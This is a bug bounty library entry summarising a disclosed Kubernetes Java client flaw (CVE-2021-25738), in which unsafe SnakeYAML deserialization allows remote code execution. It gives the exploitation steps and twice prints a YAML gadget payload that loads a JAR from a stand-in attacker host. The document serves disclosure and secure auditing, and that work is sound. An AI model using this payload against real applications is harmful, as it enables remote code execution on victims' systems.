# Loading YAML in Java client can lead to command execution

Kubernetes Java client used SnakeYAML's default unsafe constructor, letting a crafted YAML tag instantiate ScriptEngineManager and load a remote JAR to execute code.

- Payout: $1,000
- Severity: medium
- Program: Kubernetes
- Found by (vendor credit): Jordy Versmissen
- Found by: j0v
- Disclosed: 2021-08-07
- CVE: CVE-2021-25738
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1167773
- Library page: https://bugbountylibrary.com/r/h1%3A1167773
- Tags: area:oss domain:oss impact:rce kind:bounty platform:hackerone sev:medium tech:java technique:source-review vuln:deserialization vuln:rce

**Target:** io.kubernetes.client.util.Yaml (Java client library)
**Root cause:** The Java client deserializes YAML with SnakeYAML's default constructor, which allows instantiating arbitrary Java classes via !!class tags instead of using SafeConstructor.
**Steps:**
1. Craft YAML containing `some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]`
2. Host a JAR with META-INF/services/javax.script.ScriptEngineFactory naming an attacker class implementing ScriptEngineFactory
3. Put Runtime.getRuntime().exec(...) in that class's constructor
4. Feed the YAML to any code path using io.kubernetes.client.util.Yaml to deserialize untrusted input
5. SnakeYAML instantiates ScriptEngineManager with URLClassLoader, loads the JAR, and the constructor executes
**How found:** Researcher knew SnakeYAML enables Java object (de)serialization by default and checked whether the Kubernetes Java client used the unsafe default constructor rather than SafeConstructor.
**Exploitation:** Attacker supplies YAML to a victim application that deserializes it with the Kubernetes Java client; SnakeYAML instantiates ScriptEngineManager with a URLClassLoader pointing at an attacker JAR, whose ScriptEngineFactory class constructor runs arbitrary commands.
**Insight:** When auditing Java libraries that wrap YAML/XML parsers, check whether they pass SafeConstructor or disable type tags; SnakeYAML's default !!class instantiation plus ScriptEngineManager/URLClassLoader is a reliable RCE gadget chain.

## Proof of concept (copied exactly from the original report)

**YAML payload instantiating ScriptEngineManager with remote URLClassLoader**

```
some_var: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker-server.tld/poc.jar"]]]]
```

